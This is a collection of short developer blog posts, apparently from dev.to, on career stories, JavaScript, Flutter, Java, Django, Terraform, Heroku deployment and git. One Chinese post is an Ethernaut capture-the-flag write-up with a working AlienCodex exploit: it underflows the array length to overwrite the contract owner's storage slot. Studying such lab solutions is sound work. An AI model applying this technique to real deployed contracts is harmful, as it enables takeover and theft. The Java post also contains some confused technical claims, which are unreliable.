teleren/devto huggingface dataset:
It doesn't matter who you are. What you can do is the only thing that matters
Tags: career
Published: 2022-06-01 04:56:23

Has anyone entered the software industry at a young age??? I have. I entered the software industry at 16 and its been two years. There were many challenges and hardships I've gone through. Ageism isn't only targeted at old people but young people too(aka. reverse ageism), especially where I live age is everything. Despite that I kept working hard applying to every company I can and it paid off. I finally have a relatively secure career and a good salary for my age and country. School wasn't really a path for me I hated it with all my heart. I love learning and researching but being locked up in a room without any freedom or the chance to make my own decisions really gave me severe depression. The wonderful thing about software engineering is no one cares where you came for or who you are. A lot of hiring managers have a "IF YOU CAN BUILD YOU'RE HIRED" mentality and I was saved by that. Moral of the story is that if you work hard and stay consistent it wont matter where you came from or who you are. Im from a single mother household and was not wealthy in anyway but my sheer will and ability to work for what I want got me here. So whoever is reading this, I hope this gave you hope in whatever you are pursuing. Im rooting for you.
Destructuring assignment in javascript 🥶
Published: 2022-06-01 04:48:05

> Super cool and Super helpful feature from ES6, even though it is a big topic 😂 I will try to make it short and easy

lets get started

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/gi8r7d2cvq2za4s7i6tz.gif)

# Destructuring assignment
### What is destructuring.
destructuring is used to break down complex structures into pieces. It's like unpacking a bag.



![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ajgi7u2aoibidbtr8w8u.jpeg)


lets destucture with our first example
```javascript
const obj ={
  name:'bla bla',
  car:'supra'
}

// Destructuring assignment
const { name } = obj   // bla bla
```
though we can access the value like this also`console.log(obj.name)` so what exactly is the point? the point is now we created a separate variable instead of array members. now we can directly access name wherever and whenever we want 🔥
some more powerful things we can do with destructuring.
```javascript
let [name,lastname] = 'harshit paliwal'.split(' ')

console.log(name) //harshit
console.log(lastname) //paliwal
```
destructuring assignment works by copying an item into a variable. It doesn't modify the array its just a shorter way to write. same as
```javascript
const arr = 'harshit paliwal'.split(' ')

console.log(arr[0]) //harshit
console.log(arr[1]) //paliwal
```
the variable we created is just a copy of obj/array if we change the value of the variable it doesn't affect the original object or array. we can reassign value whenever we want. 🔥

```javascript
const obj = {
name:'harshit'
}
let {name} = obj;
name = 'jone'
console.log(name) // jone
```


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/x2nlqfd6d76plo1quvcm.gif)


There is a lot more than that we can do nested destructuring also
```javascript
const obj = {
  superHero: {
    name: "iron man",
    power: {
      powerOne: 'rich',
      powerTwo: 'super genius'
    }
  }
}

const {superHero:{name, power:{powerOne, powerTwo}}} = obj

console.log(name) //iron man
console.log(powerOne) //rich
console.log(powerTwo) //super genius
```
## Conclusion
Destructuring is a powerful feature that can be used to make your code more readable and concise.
if you are not using it in your code I encourage you to give it a try. Happy coding

## Resource 

[javascript MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment)

[javascript.info](https://javascript.info/destructuring-assignment#object-destructuring)
Flutter - Wireless device
Tags: flutter, spanish, programming, tutorial
Published: 2022-06-01 04:32:19

> Requisitos:
> - Android 11 (o superior)
> - Flutter (Instalado y configurado)

## Empecemos
- Active sus herramientas de desarrollador.
- Dentro de sus herramienta de desarrollador active depuración inalámbrica (Wireless debugging) esta un par de opciones debajo de depuración USB (USB debugging).
- Asegúrese que esta su PC y su móvil en la misma red.
- Entre a depuración inalámbrica, ahi le mostrara la ip y el puerto des dispositivo.
![Device](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/pg35ig9lus7sedvq5u4m.png)

- Asegúrese de tener el comando **adb** en su terminal.
![Terminal1](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/712oe12bgl3tzb2m5xbg.png)

> Si no lo tienes, no te preocupes, agrégalo a tus variables de entorno. Si tienes Android Studio instalado la ruta debería ser algo como -> C:\Users\**TU_USUARIO**\AppData\Local\Android\Sdk\platform-tools\

- Corre el comando 
```sh
$ adb connect [IP]:[PORT]
```

![Terminal2](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/1jo0svcpjwcet3j028sv.png)

- Ahora la prueba de fuego, corre algún proyecto que tengas por ahí. Para fines prácticos yo usare un Hello world de flutter.
![Photo](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/7hkqx5qbk7c7pog2d19a.png)

## Lo logramos 🚀🚀🚀
Ya solo queda cerrar la conexión de **adb** (No obligatorio si recomendado).

![Terminal3](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/tl04m3tkpum408uj57w4.png)

Que te pareció? Necesitas ayuda con algo? déjalo en los comentarios.

Mucha suerte en tus proyectos y Happy Hacking 🧑‍💻🎉
Why should you learn Java?
Tags: java
Published: 2022-06-01 04:19:46

**_Why should you use Java?_**

- The average payment of a Java developer is quite high. According to Indeed, the average Java Developer salary in the United States is $96,143 per year as of September 27, 2021. However the average Java Developer salary in the United States can range between $81,377-$108,416 per year(DAXX,2021). 

- Almost 15 Billion device uses Java. 

- Websites like Facebook.com, Amazon.com, LinkedIn.com, ESPNcrickinfo.com etc. uses Java.

- While using C/C++, one need to think of **Linking**, **Optimization**, **Memory Allocation**, **Memory Deallocation**, **Pointer Dereferencing** etc. which you don't need to think of while using Java. 

- Java has a lots of **API**s which are very stable & you can use them to write big programs.

- Java is a Open Source Programming language too.

- Java is an Object Oriented  Programming Language & it is Type Safe.

**Let's know how Java works**

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/y3m8fbs33qji8j91l0yt.png)

- First when you write a Java code, it is compiled by Java Compiler & compiled to a "Bytecode" which has an extension of .class

- Then the Bytecode is made as a **Transformed .class** by Class Loader

- After that it is transformed to **Executing code** by Interpreter. So, you can call it an interpreted language.

- Then it is compiled by **Java In Time Compiler** which is a part of Java Virtual Machine (JVM) and transformed to a Machine Language. So, it is a Compiling Language too. Now Machine can understand your code.

**What makes Java unique**

Now, the most important part is that, Java code is created for a machine . Not for a JVM or etc. Windows, Linux, Mac all has different JVM for themselves. So, assume you have created a  code called **A.java** in **Windows** and you shift it to a **Linux** system, the JVM will be different compared to windows. But still the code A.java will work because the Java code has been transformed to Bytecode .The JVM will then change the Bytecode to its own Machine Language.  Again, if you take it to a **Mac**, still it will transform the Bytecode to its own Machine Language using JVM . 

remember JVMs are different. Java codes are made for machines & not for JVMs.

This thing is called as WORA (Write once , run anywhere)



<img src="https://c.tenor.com/Tvd3VKwtse0AAAAC/cat-cute.gif">
Web3 Solidity + JavaScript 32 hour course recap #5
Published: 2022-06-01 03:33:37

timestamp 1:20:50 - 1:39:32

We learned about how the hashes are derived. 

We also talked about the differences between PoW (proof of work) and PoS (proof of stake), and why we're moving a way from PoW because PoS is much cheaper computationally.

We also learned about Sybil and 51% attacks. Sybil attacks are peer-to-peer attacks, and blockchains are resistent.

Patrick was also nice enough to clarify that the problem is not always to make all of the first four number a zero. Blockchains can choose easier or more complex problems in order to regulate the "block time", or how long it takes for the blockchain to be published.

Ethereum uses the Nakamoto consensus, which uses a combination of the "longest chain rule" and proof of work to determine which blockchain takes point.
Django Part 1- Creating a new project
Published: 2022-06-01 02:53:20

In this post I will be showing how you can create a new Django project.

This tutorial assumes that you already have Python and pip installed. I am using a Windows machine, it uses the command py to run Python, however on Linux it will be different and most likely you will need to replace py with python3.

First, create a new folder that will hold all our project directories. Inside this folder, create a new virtual environment using the command: 

```
py -m venv venv
```

This will have created a new directory called venv that contains our new virtual environment. Now activate the venv using the command:

```
venv\Scripts\activate
```
On Linux, the command is:

```
source venv/bin/activate
```
We need to install Django using pip. This will install Django into the new virtual environment that we have setup.
Use the command:

```
py -m pip install Django
```
Now we can use the django-admin command line utility to create a new project. We will call the Django project “backend” as later we will write a basic frontend using React. Use the command:

```
django-admin startproject backend
```
Now navigate inside the newly created project folder.

```
cd backend
```
Inside the new project we will create our first app. During this tutorial, we will be creating a custom user model and therefore we will name the app “users”. 

To create the app we will be using the manage.py script that Django provides. We will use script for various functionality when building a project, including starting the development server, creating and running database migrations and more.
To create the app, run the command:

```
py manage.py startapp users
```
We need to register the new app inside the base app in the project. To do this, we edit the settings.py file inside the inner backend directory. Have a look inside the file users/apps.py, in there we find a class created by Django called UsersConfig. We need to add this class to the INSTALLED_APPS list inside backend/settings.py.

```
INSTALLED_APPS = [
	…
	users.apps.UsersConfig
]
```

Now we want to run the development server to check that the project has been created successfully. Use the command:

```
py manage.py runserver
```
It will run the development server at the default port of 8000. Open your browser and navigate to http://127.0.0.1:8000 and you should see the Django default welcome page.
Ethernaut系列-Level 19(AlienCodex)
Published: 2022-06-01 02:33:10

## LEVEL 19 （AlienCodex）:
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

import './helpers/Ownable-05.sol';

contract AlienCodex is Ownable {

  bool public contact;
  bytes32[] public codex;

  modifier contacted() {
    assert(contact);
    _;
  }
  
  function make_contact() public {
    contact = true;
  }

  function record(bytes32 _content) contacted public {
  	codex.push(_content);
  }

  function retract() contacted public {
    codex.length--;
  }

  function revise(uint i, bytes32 _content) contacted public {
    codex[i] = _content;
  }
}
```
## 通关要求
   owner = player
         

##要点
  1.storage如何存储
  https://docs.soliditylang.org/en/v0.8.14/internals/layout_in_storage.html

  2.计算溢出  （旧版会溢出，0.8后会异常，这关就不存在了）

##解题思路
首先要了解storage里动态数组如何存储
```
Slot                  Data
------------------------------
0                     owner, contact
1                     codex.length      #p = 1
.
.
keccak256(p)          codex[0]     
keccak256(p) + 1      codex[1]
.
.
keccak256(p) + index  codex[index]
.
```
contracts/19AlienCodexRun.sol
```solidity
  function run(address _runAddress,address _playerAddress) external payable {
    ILevel level = ILevel(_runAddress);
    level.make_contact();
    //先回退,0.5版本会溢出，数组长度变很长
    level.retract();
    bytes32 arrSlot = keccak256(abi.encodePacked(uint256(1)));    
    uint256 gap = (type(uint256).max - uint256(arrSlot)) + 1;
    //传入GAP会导致arrSlot+gag溢出后=0，即设置slot:0,这个位置用于存owner和bool contact
    level.revise(gap, bytes32(uint256(uint160(_playerAddress))));
  }

```
I made a plugin to remember todo comments on the code in vite
Tags: vite, todo, plugin, word
Published: 2022-06-01 02:27:29

## Introduce
Often we forget the todo left on the code.
IDE extensions and other features are added, but because of differences in development environments among members and the fact that they are not always visible, they are often noticed just before the release of a product.

We believe that incorporating it as part of the build may prevent it.
Recently, we have been using `vite` a lot, so we created a plugin that can be used with `vite`.
[see plugin.] (https://github.com/activeguild/vite-plugin-hit-word)


## Usage
#### Install
```
npm i -D vite-plugin-hit-word
```

#### Add it to vite.config.ts
A deadline can be set on the code by assigning a date. If the deadline is exceeded, it will be output in red on the terminal.

```ts
import { defineConfig } from 'vite'
import hitWord from 'vite-plugin-hit-word'

// https://vitejs.dev/config/
export default defineConfig({
  plugins: [
    hitWord({
      include: ['src/*'],
      exclude: ['node_modules'],
      word: { value: '[todo]:', hasDeadlineDate: true },
    }),
  ],
})
```

#### e.g.

The following files are available.

```tsx
import styles from './App.module.css'

function App() {
  // [todo]: [2022/05/22] issue #765

  return (
    <div className="App">
      <header className={styles.header}></header>
    </div>
  )
}

export default App
```

At build time, output to the terminal as follows.
You can jump to the corresponding code from the path.

```bash
/Users/XXXXXX/projects/Sample/src/App.tsx(4) :>>   // [todo]: [2022/05/22] issue #765
```


I have shown an example with `todo`, but it can be changed to suit your project.

Feedback is welcome.
Terraform: Introduction
Tags: terraform, infrastructureascode, devops, cloud
Published: 2022-06-01 02:18:14


###Introduction and Motivation
Hello and welcome to my series of articles where I will attempt to document my road to getting a Terraform certificate.

Before we dive into the requirements of the Terraform exam I would like to take a minute and talk about myself and how I got to the point where Terraform became something that I want to learn how to use.

Hi! My name is Andrey and I am a Python and Django developer. It was rather early in my software developer journey when I realized that knowing how to write code and knowing your framework/library/language of choice is not enough to call yourself a web developer.

Deployment is a weird part of web development that few tutorials or textbooks mention, yet it is something that most of the employers would expect from a web developer. It is implied that a web developer should not only know how to make a web applications but also know how to deploy them.

There are many choices when it comes to deploying and hosting web applications with notable examples being AWS, GCP, Azure, Heroku, and many more. I chose AWS and started learning how to properly use it. The more I learned the intricacies of that platform the less I wanted to manage it manually. Even AWS CLI did not look like a good solution for managing infrastructure beyond a very basic setup.

At this point I was on the hunt for a way to simplify the deployment and management of AWS resources. Enter Infrastructure-as-Code (IaC). Turned out I was not alone in not wanting to manage infrastructure manually. AWS, GCP, and Azure all offer native IaC solutions. There are also 3rd party tools like Terraform, Pulumi, Puppet, Ansible, Chef, and Puppet.

I decided to go with Terraform because platform-agnostic approach means that I can use it regardless of where the resources are hosted AND I can mix-and-match resources from different providers in a single configuration. Being the most popular IaC tool meant that there is a wealth of resources online to help me along the way. Talk about jackpot.

With the tool chosen I went to Terraform’s official website to see how I can start learning to use it. Luckily, HashiCorp offers Terraform Associate certification. I am a big fan of certifications because not only they look good on any resume but they also provide a good roadmap for covering the basics.

#### # 

So, here I am, using this blog as a way to take notes in preparation for this exam. Leslie Lamport said that writing is the nature’s way of telling us how fuzzy our thinking is and writing this blog will be a test of my understanding of this topic. Whether you are thinking about acquiring this certification yourself or you are curious about Terraform join me on this journey as I dive deep into this topic.
STARTING OUT MY PROGRAMMING JOURNEY👩‍💻
Tags: beginners, newbie
Published: 2022-06-01 01:58:24

It was the last day of February and i remember closing from work tired and unhappy. I got home and started thinking about ways to get a better paying job. I had filled out so many CVs and i am pretty sure if my thumb could speak, it would have told me to quit scrolling through my mail each morning. I then went on google and searched 'Most paid jobs worldwide' (i was ready to risk it all even if i had to go to uni again). And i saw 'software developer' listed out on one blog i saw. I got curious and decided to just look it up and see the roles of a software developer. After looking at the requirements, i was like 'oh i am not cut out for this cause i don't even have a computer science or IT related degree'. 

I then went on twitter to look up software developers (mind you, i honestly and naively thought people who coded were all software developers) I had no idea that there were so many fields you could get in Tech. I then researched more and found out you could be a web developer(front-end/back-end), data scientist, cloud architect, UI/UX developer and so on. So i got intrigued and decided to just explore the options and see what i would be cut out for.

If anyone reads this, i don't really know how this site works i just got on it today. The person would probably think i am now a pro developer or some sort and writing about my success story. Well no! i just started learning HTML and CSS and i am here to be documenting my entire journey to motivate me to never stop. One day i want to look back and read this post and say i actually did it.

Also, i SUCK at editing on these posts with codes so if anyone is really good at that and is generous enough to help me on that, i would be very thankful. If you would want us to connect or you are also a beginner just like me starting out with specifically HTML,CSS or JAVASCRIPT. Please feel free to like this post or comment on it so we can connect. Thanks!
Eureka
Published: 2023-09-09 19:03:42

---
title: Eureka
published: true
date: 2022-06-01 01:48:44 UTC
tags: 
canonical_url: https://themes.gohugo.io/themes/hugo-eureka/
---

English | 简体中文 Eureka Eureka is a feature-rich and highly customizable Hugo theme. Using Eureka allows you to customize and deploy your website quickly and easily. Try Eureka Eureka is committed to providing an elegant, feature-rich and highly customizable theme for Hugo. If this project is helpful to you, you can give Eureka a star and follow my Github. Read Getting Started to learn how to build and deploy your website.
Fullstack Deploy React / Rails / Heroku
Tags: react, ruby, rails, heroku
Published: 2022-06-01 01:38:36

**Here is a short but hopefully comprehensive explanation of deploying a simple React/Rails application on Heroku**

- First, we need to be running a version of Ruby that Heroku will accept; one suggestion is running it on 

```
-v ruby 2.7.4
```

- Once we have verified our Ruby version, we can generate our new rails application using PostgreSQL as the database.

- At this stage, we will begin building out our necessary seed data and migrations.

- Before we can Seed and Migrate our Db, we must use rails db:create to create our PostgreSQL database.

The following command will install the Linux and Ruby Platforms for our Heroku Application.

```
bundle lock --add-platform x86_64-linux --add-platform ruby
```

- Now we can perform our git add and commit actions.

- Open the browser window by running heroku open in our terminal.

- Finally, we will migrate and seed our Heroku Db by running heroku run 

```
rails db:migrate db:seed
```
 

**Onward to the front end!**

- Create a new react app and name it using this command.

```
npx create_react_app client
```

- Next, we need to install a prefix client to create a unified version of our react app in the client/build folder.
```
npm install --prefix client
```

- In the package.json file above our "private" and "dependencies" sections we will add
 
```
"proxy": "http://localhost:3000" 
```

- In our scripts we will change "start": "react-scripts start" to 

```
"start": "PORT=4000 react-script start"
```

- We now need to add another package.json into the root of our directory run 

```
heroku buldpacks:add heroku/nodejs --index 1
```

- Update the package.json by running the commands 

```
git add .
git commit -m ""
git push heroku main
```

**Your fullstack application is now ready for testing!**
How to update Bitbucket remote URL with username
Tags: git, bitucket, webdev, how
Published: 2022-06-01 01:20:35

If you have projects on your local that are connected to different bitbucket accounts, then you might need to set default identity and one of task is to update your project git remote URL.

To do so, go to your project root directory and type the following command:

```
git remote -v
```

and you will see something like this:

```
origin git@bitbucket.org:foobar/hello.git (fetch)
origin git@bitbucket.org:foobar/hello.git (push)
```

Now, to update/replace `git@bitbucket.org` with `<username>@bitbucket.org` use the following command:

```
git remote set-url origin <username>@bitbucket.org:foobar/hello.git
```

and now if you type `git remote -v` you will see the following:

```
origin <username>@bitbucket.org:foobar/hello.git (fetch)
origin <username>@bitbucket.org:foobar/hello.git (push)
```

Happy coding!

**References:**
* https://confluence.atlassian.com/bitbucket/configure-multiple-ssh-identities-for-gitbash-mac-osx-linux-271943168.html